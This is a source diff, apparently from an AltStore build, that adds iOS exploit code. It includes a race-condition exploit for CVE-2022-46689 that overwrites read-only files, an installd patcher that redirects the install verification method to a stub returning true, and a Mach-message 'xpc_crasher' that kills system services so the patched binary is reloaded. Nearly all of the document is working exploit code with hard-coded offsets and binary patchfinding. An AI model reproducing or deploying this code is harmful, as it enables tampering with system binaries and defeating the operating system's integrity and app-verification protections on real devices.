|
||||
atomically:true
|
||||
encoding:NSUTF8StringEncoding
|
||||
error:&error];
|
||||
completion(nil);
|
||||
});
|
||||
}
|
||||
|
||||
/// MARK - installd patch
|
||||
|
||||
struct installd_remove_app_limit_offsets {
|
||||
uint64_t offset_objc_method_list_t_MIInstallableBundle;
|
||||
uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods;
|
||||
uint64_t offset_data_const_end_padding;
|
||||
// MIUninstallRecord::supportsSecureCoding
|
||||
uint64_t offset_return_true;
|
||||
};
|
||||
|
||||
struct installd_remove_app_limit_offsets gAppLimitOffsets = {
|
||||
.offset_objc_method_list_t_MIInstallableBundle = 0x519b0,
|
||||
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8,
|
||||
.offset_data_const_end_padding = 0x79c38,
|
||||
.offset_return_true = 0x19860,
|
||||
};
|
||||
|
||||
static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map,
|
||||
size_t executable_length,
|
||||
const char* needle) {
|
||||
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
|
||||
if (!str_offset) {
|
||||
return 0;
|
||||
}
|
||||
uint64_t str_file_offset = str_offset - executable_map;
|
||||
for (int i = 0; i < executable_length - 8; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(executable_map + i);
|
||||
if ((val & 0xfffffffful) != str_file_offset) {
|
||||
continue;
|
||||
}
|
||||
// baseMethods
|
||||
if (*(uint64_t*)(executable_map + i + 8) != 0) {
|
||||
return i + 8;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) {
|
||||
// mov w0, #1
|
||||
// ret
|
||||
static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6};
|
||||
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
|
||||
if (!offset) {
|
||||
return 0;
|
||||
}
|
||||
return offset - executable_map;
|
||||
}
|
||||
|
||||
static bool patchfind_installd(void* executable_map, size_t executable_length,
|
||||
struct installd_remove_app_limit_offsets* offsets) {
|
||||
struct segment_command_64* data_const_segment = nil;
|
||||
struct symtab_command* symtab_command = nil;
|
||||
struct dysymtab_command* dysymtab_command = nil;
|
||||
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
|
||||
&dysymtab_command)) {
|
||||
printf("no sections\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) {
|
||||
printf("no padding\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods =
|
||||
patchfind_find_class_rw_t_baseMethods(executable_map, executable_length,
|
||||
"MIInstallableBundle")) == 0) {
|
||||
printf("no MIInstallableBundle class_rw_t\n");
|
||||
return false;
|
||||
}
|
||||
offsets->offset_objc_method_list_t_MIInstallableBundle =
|
||||
(*(uint64_t*)(executable_map +
|
||||
offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) &
|
||||
0xffffffull;
|
||||
|
||||
if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) ==
|
||||
0) {
|
||||
printf("no return true\n");
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
struct objc_method {
|
||||
int32_t name;
|
||||
int32_t types;
|
||||
int32_t imp;
|
||||
};
|
||||
|
||||
struct objc_method_list {
|
||||
uint32_t entsizeAndFlags;
|
||||
uint32_t count;
|
||||
struct objc_method methods[];
|
||||
};
|
||||
|
||||
static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset,
|
||||
uint64_t new_offset, uint64_t* out_copied_length,
|
||||
void (^callback)(const char* sel,
|
||||
uint64_t* inout_function_pointer)) {
|
||||
struct objc_method_list* original_list = mutableBytes + old_offset;
|
||||
struct objc_method_list* new_list = mutableBytes + new_offset;
|
||||
*out_copied_length =
|
||||
sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method);
|
||||
new_list->entsizeAndFlags = original_list->entsizeAndFlags;
|
||||
new_list->count = original_list->count;
|
||||
for (int method_index = 0; method_index < original_list->count; method_index++) {
|
||||
struct objc_method* method = &original_list->methods[method_index];
|
||||
// Relative pointers
|
||||
uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name;
|
||||
uint64_t types_file_offset =
|
||||
((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types;
|
||||
uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp;
|
||||
const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull);
|
||||
callback(sel, &imp_file_offset);
|
||||
|
||||
struct objc_method* new_method = &new_list->methods[method_index];
|
||||
new_method->name = (int32_t)((int64_t)name_file_offset -
|
||||
(int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes));
|
||||
new_method->types = (int32_t)((int64_t)types_file_offset -
|
||||
(int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes));
|
||||
new_method->imp = (int32_t)((int64_t)imp_file_offset -
|
||||
(int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes));
|
||||
}
|
||||
};
|
||||
|
||||
static NSData* make_patch_installd(void* executableMap, size_t executableLength) {
|
||||
struct installd_remove_app_limit_offsets offsets = {};
|
||||
if (!patchfind_installd(executableMap, executableLength, &offsets)) {
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
|
||||
char* mutableBytes = data.mutableBytes;
|
||||
uint64_t current_empty_space = offsets.offset_data_const_end_padding;
|
||||
uint64_t copied_size = 0;
|
||||
uint64_t new_method_list_offset = current_empty_space;
|
||||
patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
|
||||
current_empty_space, &copied_size,
|
||||
^(const char* sel, uint64_t* inout_address) {
|
||||
if (strcmp(sel, "performVerificationWithError:") != 0) {
|
||||
return;
|
||||
}
|
||||
*inout_address = offsets.offset_return_true;
|
||||
});
|
||||
current_empty_space += copied_size;
|
||||
((struct
|
||||
dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
|
||||
offsets
|
||||
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods))
|
||||
->target = new_method_list_offset;
|
||||
return data;
|
||||
}
|
||||
|
||||
bool patch_installd() {
|
||||
const char* targetPath = "/usr/libexec/installd";
|
||||
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||
|
||||
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||
NSData* sourceData = make_patch_installd(targetMap, targetLength);
|
||||
if (!sourceData) {
|
||||
NSLog(@"can't patchfind");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!overwrite_file(fd, sourceData)) {
|
||||
overwrite_file(fd, originalData);
|
||||
munmap(targetMap, targetLength);
|
||||
NSLog(@"can't overwrite");
|
||||
return false;
|
||||
}
|
||||
munmap(targetMap, targetLength);
|
||||
xpc_crasher("com.apple.mobile.installd");
|
||||
sleep(1);
|
||||
|
||||
// TODO(zhuowei): for now we revert it once installd starts
|
||||
// so the change will only last until when this installd exits
|
||||
overwrite_file(fd, originalData);
|
||||
return true;
|
||||
}
|
||||
#endif /* MDC */
|
||||
14
AltStore/MDC/helpers.h
Normal file
@@ -0,0 +1,14 @@
|
||||
#ifdef MDC
|
||||
#ifndef helpers_h
|
||||
#define helpers_h
|
||||
|
||||
char* get_temp_file_path(void);
|
||||
void test_nsexpressions(void);
|
||||
char* set_up_tmp_file(void);
|
||||
|
||||
void xpc_crasher(char* service_name);
|
||||
|
||||
#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))
|
||||
|
||||
#endif /* helpers_h */
|
||||
#endif /* MDC */
|
||||
132
AltStore/MDC/helpers.m
Normal file
@@ -0,0 +1,132 @@
|
||||
#ifdef MDC
|
||||
#import <Foundation/Foundation.h>
|
||||
#include <string.h>
|
||||
#include <mach/mach.h>
|
||||
#include <dirent.h>
|
||||
|
||||
char* get_temp_file_path(void) {
|
||||
return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
|
||||
}
|
||||
|
||||
// create a read-only test file we can target:
|
||||
char* set_up_tmp_file(void) {
|
||||
char* path = get_temp_file_path();
|
||||
printf("path: %s\n", path);
|
||||
|
||||
FILE* f = fopen(path, "w");
|
||||
if (!f) {
|
||||
printf("opening the tmp file failed...\n");
|
||||
return NULL;
|
||||
}
|
||||
char* buf = malloc(PAGE_SIZE*10);
|
||||
memset(buf, 'A', PAGE_SIZE*10);
|
||||
fwrite(buf, PAGE_SIZE*10, 1, f);
|
||||
//fclose(f);
|
||||
return path;
|
||||
}
|
||||
|
||||
kern_return_t
|
||||
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
|
||||
|
||||
struct xpc_w00t {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t client_port;
|
||||
mach_msg_port_descriptor_t reply_port;
|
||||
};
|
||||
|
||||
mach_port_t get_send_once(mach_port_t recv) {
|
||||
mach_port_t so = MACH_PORT_NULL;
|
||||
mach_msg_type_name_t type = 0;
|
||||
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port right extraction failed: %s\n", mach_error_string(err));
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
printf("made so: 0x%x from recv: 0x%x\n", so, recv);
|
||||
return so;
|
||||
}
|
||||
|
||||
// copy-pasted from an exploit I wrote in 2019...
|
||||
// still works...
|
||||
|
||||
// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
|
||||
|
||||
void xpc_crasher(char* service_name) {
|
||||
mach_port_t client_port = MACH_PORT_NULL;
|
||||
mach_port_t reply_port = MACH_PORT_NULL;
|
||||
|
||||
mach_port_t service_port = MACH_PORT_NULL;
|
||||
|
||||
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
|
||||
if(err != KERN_SUCCESS){
|
||||
printf("unable to look up %s\n", service_name);
|
||||
return;
|
||||
}
|
||||
|
||||
if (service_port == MACH_PORT_NULL) {
|
||||
printf("bad service port\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// allocate the client and reply port:
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port allocation failed: %s\n", mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
mach_port_t so0 = get_send_once(client_port);
|
||||
mach_port_t so1 = get_send_once(client_port);
|
||||
|
||||
// insert a send so we maintain the ability to send to this port
|
||||
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port right insertion failed: %s\n", mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port allocation failed: %s\n", mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
struct xpc_w00t msg;
|
||||
memset(&msg.hdr, 0, sizeof(msg));
|
||||
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||
msg.hdr.msgh_size = sizeof(msg);
|
||||
msg.hdr.msgh_remote_port = service_port;
|
||||
msg.hdr.msgh_id = 'w00t';
|
||||
|
||||
msg.body.msgh_descriptor_count = 2;
|
||||
|
||||
msg.client_port.name = client_port;
|
||||
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
|
||||
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
msg.reply_port.name = reply_port;
|
||||
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
|
||||
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
err = mach_msg(&msg.hdr,
|
||||
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
||||
msg.hdr.msgh_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("w00t message send failed: %s\n", mach_error_string(err));
|
||||
return;
|
||||
} else {
|
||||
printf("sent xpc w00t message\n");
|
||||
}
|
||||
|
||||
mach_port_deallocate(mach_task_self(), so0);
|
||||
mach_port_deallocate(mach_task_self(), so1);
|
||||
|
||||
return;
|
||||
}
|
||||
#endif /* MDC */
|
||||
364
AltStore/MDC/vm_unaligned_copy_switch_race.c
Normal file
@@ -0,0 +1,364 @@
|
||||
#ifdef MDC
|
||||
// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
|
||||
// modified to compile outside of XNU
|
||||
|
||||
#include <pthread.h>
|
||||
#include <dispatch/dispatch.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include <mach/mach_init.h>
|
||||
#include <mach/mach_port.h>
|
||||
#include <mach/vm_map.h>
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#include "vm_unaligned_copy_switch_race.h"
|
||||
|
||||
#define T_QUIET
|
||||
#define T_EXPECT_MACH_SUCCESS(a, b)
|
||||
#define T_EXPECT_MACH_ERROR(a, b, c)
|
||||
#define T_ASSERT_MACH_SUCCESS(a, b, ...)
|
||||
#define T_ASSERT_MACH_ERROR(a, b, c)
|
||||
#define T_ASSERT_POSIX_SUCCESS(a, b)
|
||||
#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
|
||||
#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
|
||||
#define T_ASSERT_TRUE(a, b, ...)
|
||||
#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
|
||||
#define T_DECL(a, b) static void a(void)
|
||||
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
|
||||
|
||||
struct context1 {
|
||||
vm_size_t obj_size;
|
||||
vm_address_t e0;
|
||||
mach_port_t mem_entry_ro;
|
||||
mach_port_t mem_entry_rw;
|
||||
dispatch_semaphore_t running_sem;
|
||||
pthread_mutex_t mtx;
|
||||
volatile bool done;
|
||||
};
|
||||
|
||||
static void *
|
||||
switcheroo_thread(__unused void *arg)
|
||||
{
|
||||
kern_return_t kr;
|
||||
struct context1 *ctx;
|
||||
|
||||
ctx = (struct context1 *)arg;
|
||||
/* tell main thread we're ready to run */
|
||||
dispatch_semaphore_signal(ctx->running_sem);
|
||||
while (!ctx->done) {
|
||||
/* wait for main thread to be done setting things up */
|
||||
pthread_mutex_lock(&ctx->mtx);
|
||||
if (ctx->done) {
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
break;
|
||||
}
|
||||
/* switch e0 to RW mapping */
|
||||
kr = vm_map(mach_task_self(),
|
||||
&ctx->e0,
|
||||
ctx->obj_size,
|
||||
0, /* mask */
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||
ctx->mem_entry_rw,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
|
||||
/* wait a little bit */
|
||||
usleep(100);
|
||||
/* switch bakc to original RO mapping */
|
||||
kr = vm_map(mach_task_self(),
|
||||
&ctx->e0,
|
||||
ctx->obj_size,
|
||||
0, /* mask */
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||
ctx->mem_entry_ro,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ,
|
||||
VM_PROT_READ,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
|
||||
/* tell main thread we're don switching mappings */
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
usleep(100);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) {
|
||||
bool retval = false;
|
||||
pthread_t th = NULL;
|
||||
int ret;
|
||||
kern_return_t kr;
|
||||
time_t start, duration;
|
||||
#if 0
|
||||
mach_msg_type_number_t cow_read_size;
|
||||
#endif
|
||||
vm_size_t copied_size;
|
||||
int loops;
|
||||
vm_address_t e2, e5;
|
||||
struct context1 context1, *ctx;
|
||||
int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
|
||||
vm_address_t ro_addr, tmp_addr;
|
||||
memory_object_size_t mo_size;
|
||||
|
||||
ctx = &context1;
|
||||
ctx->obj_size = 256 * 1024;
|
||||
|
||||
void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset);
|
||||
if (file_mapped == MAP_FAILED) {
|
||||
fprintf(stderr, "failed to map\n");
|
||||
return false;
|
||||
}
|
||||
if (!memcmp(file_mapped, overwrite_data, overwrite_length)) {
|
||||
fprintf(stderr, "already the same?\n");
|
||||
munmap(file_mapped, ctx->obj_size);
|
||||
return true;
|
||||
}
|
||||
ro_addr = (vm_address_t)file_mapped;
|
||||
|
||||
ctx->e0 = 0;
|
||||
ctx->running_sem = dispatch_semaphore_create(0);
|
||||
T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create");
|
||||
ret = pthread_mutex_init(&ctx->mtx, NULL);
|
||||
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
|
||||
ctx->done = false;
|
||||
ctx->mem_entry_rw = MACH_PORT_NULL;
|
||||
ctx->mem_entry_ro = MACH_PORT_NULL;
|
||||
#if 0
|
||||
/* allocate our attack target memory */
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&ro_addr,
|
||||
ctx->obj_size,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
|
||||
/* initialize to 'A' */
|
||||
memset((char *)ro_addr, 'A', ctx->obj_size);
|
||||
#endif
|
||||
|
||||
/* make it read-only */
|
||||
kr = vm_protect(mach_task_self(),
|
||||
ro_addr,
|
||||
ctx->obj_size,
|
||||
TRUE, /* set_maximum */
|
||||
VM_PROT_READ);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
|
||||
/* make sure we can't get read-write handle on that target memory */
|
||||
mo_size = ctx->obj_size;
|
||||
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||
&mo_size,
|
||||
ro_addr,
|
||||
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||
&ctx->mem_entry_ro,
|
||||
MACH_PORT_NULL);
|
||||
T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
|
||||
/* take read-only handle on that target memory */
|
||||
mo_size = ctx->obj_size;
|
||||
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||
&mo_size,
|
||||
ro_addr,
|
||||
MAP_MEM_VM_SHARE | VM_PROT_READ,
|
||||
&ctx->mem_entry_ro,
|
||||
MACH_PORT_NULL);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
|
||||
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
|
||||
/* make sure we can't map target memory as writable */
|
||||
tmp_addr = 0;
|
||||
kr = vm_map(mach_task_self(),
|
||||
&tmp_addr,
|
||||
ctx->obj_size,
|
||||
0, /* mask */
|
||||
VM_FLAGS_ANYWHERE,
|
||||
ctx->mem_entry_ro,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ,
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
|
||||
tmp_addr = 0;
|
||||
kr = vm_map(mach_task_self(),
|
||||
&tmp_addr,
|
||||
ctx->obj_size,
|
||||
0, /* mask */
|
||||
VM_FLAGS_ANYWHERE,
|
||||
ctx->mem_entry_ro,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
|
||||
|
||||
/* allocate a source buffer for the unaligned copy */
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&e5,
|
||||
ctx->obj_size * 2,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
|
||||
/* initialize to 'C' */
|
||||
memset((char *)e5, 'C', ctx->obj_size * 2);
|
||||
|
||||
char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1);
|
||||
memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length);
|
||||
|
||||
int overwrite_first_diff_offset = -1;
|
||||
char overwrite_first_diff_value = 0;
|
||||
for (int off = 0; off < overwrite_length; off++) {
|
||||
if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
|
||||
overwrite_first_diff_offset = off;
|
||||
overwrite_first_diff_value = ((char*)ro_addr)[off];
|
||||
}
|
||||
}
|
||||
if (overwrite_first_diff_offset == -1) {
|
||||
fprintf(stderr, "no diff?\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
/*
|
||||
* get a handle on some writable memory that will be temporarily
|
||||
* switched with the read-only mapping of our target memory to try
|
||||
* and trick copy_unaligned to write to our read-only target.
|
||||
*/
|
||||
tmp_addr = 0;
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&tmp_addr,
|
||||
ctx->obj_size,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
|
||||
/* initialize to 'D' */
|
||||
memset((char *)tmp_addr, 'D', ctx->obj_size);
|
||||
/* get a memory entry handle for that RW memory */
|
||||
mo_size = ctx->obj_size;
|
||||
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||
&mo_size,
|
||||
tmp_addr,
|
||||
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||
&ctx->mem_entry_rw,
|
||||
MACH_PORT_NULL);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
|
||||
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
|
||||
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
|
||||
tmp_addr = 0;
|
||||
|
||||
pthread_mutex_lock(&ctx->mtx);
|
||||
|
||||
/* start racing thread */
|
||||
ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx);
|
||||
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
|
||||
|
||||
/* wait for racing thread to be ready to run */
|
||||
dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER);
|
||||
|
||||
duration = 10; /* 10 seconds */
|
||||
T_LOG("Testing for %ld seconds...", duration);
|
||||
for (start = time(NULL), loops = 0;
|
||||
time(NULL) < start + duration;
|
||||
loops++) {
|
||||
/* reserve space for our 2 contiguous allocations */
|
||||
e2 = 0;
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&e2,
|
||||
2 * ctx->obj_size,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
|
||||
|
||||
/* make 1st allocation in our reserved space */
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&e2,
|
||||
ctx->obj_size,
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
|
||||
/* initialize to 'B' */
|
||||
memset((char *)e2, 'B', ctx->obj_size);
|
||||
|
||||
/* map our read-only target memory right after */
|
||||
ctx->e0 = e2 + ctx->obj_size;
|
||||
kr = vm_map(mach_task_self(),
|
||||
&ctx->e0,
|
||||
ctx->obj_size,
|
||||
0, /* mask */
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
|
||||
ctx->mem_entry_ro,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ,
|
||||
VM_PROT_READ,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
|
||||
|
||||
/* let the racing thread go */
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
/* wait a little bit */
|
||||
usleep(100);
|
||||
|
||||
/* trigger copy_unaligned while racing with other thread */
|
||||
kr = vm_read_overwrite(mach_task_self(),
|
||||
e5,
|
||||
ctx->obj_size - 1 + overwrite_length,
|
||||
e2 + 1,
|
||||
&copied_size);
|
||||
T_QUIET;
|
||||
T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
|
||||
"vm_read_overwrite kr %d", kr);
|
||||
switch (kr) {
|
||||
case KERN_SUCCESS:
|
||||
/* the target was RW */
|
||||
kern_success++;
|
||||
break;
|
||||
case KERN_PROTECTION_FAILURE:
|
||||
/* the target was RO */
|
||||
kern_protection_failure++;
|
||||
break;
|
||||
default:
|
||||
/* should not happen */
|
||||
kern_other++;
|
||||
break;
|
||||
}
|
||||
/* check that our read-only memory was not modified */
|
||||
#if 0
|
||||
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified");
|
||||
#endif
|
||||
bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
|
||||
|
||||
/* tell racing thread to stop toggling mappings */
|
||||
pthread_mutex_lock(&ctx->mtx);
|
||||
|
||||
/* clean up before next loop */
|
||||
vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size);
|
||||
ctx->e0 = 0;
|
||||
vm_deallocate(mach_task_self(), e2, ctx->obj_size);
|
||||
e2 = 0;
|
||||
if (!is_still_equal) {
|
||||
retval = true;
|
||||
fprintf(stderr, "RO mapping was modified\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
ctx->done = true;
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
pthread_join(th, NULL);
|
||||
|
||||
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
|
||||
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
|
||||
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
|
||||
kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
|
||||
|
||||
#if 0
|
||||
T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
|
||||
kern_success, kern_protection_failure, kern_other);
|
||||
T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
|
||||
#endif
|
||||
return retval;
|
||||
}
|
||||
#endif /* MDC */
|
||||
10
AltStore/MDC/vm_unaligned_copy_switch_race.h
Normal file
@@ -0,0 +1,10 @@
|
||||
#ifdef MDC
|
||||
#pragma once
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.
|
||||
/// `file_to_overwrite` should be a file descriptor opened with O_RDONLY.
|
||||
/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
|
||||
/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
|
||||
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length);
|
||||
#endif /* MDC */
|
||||
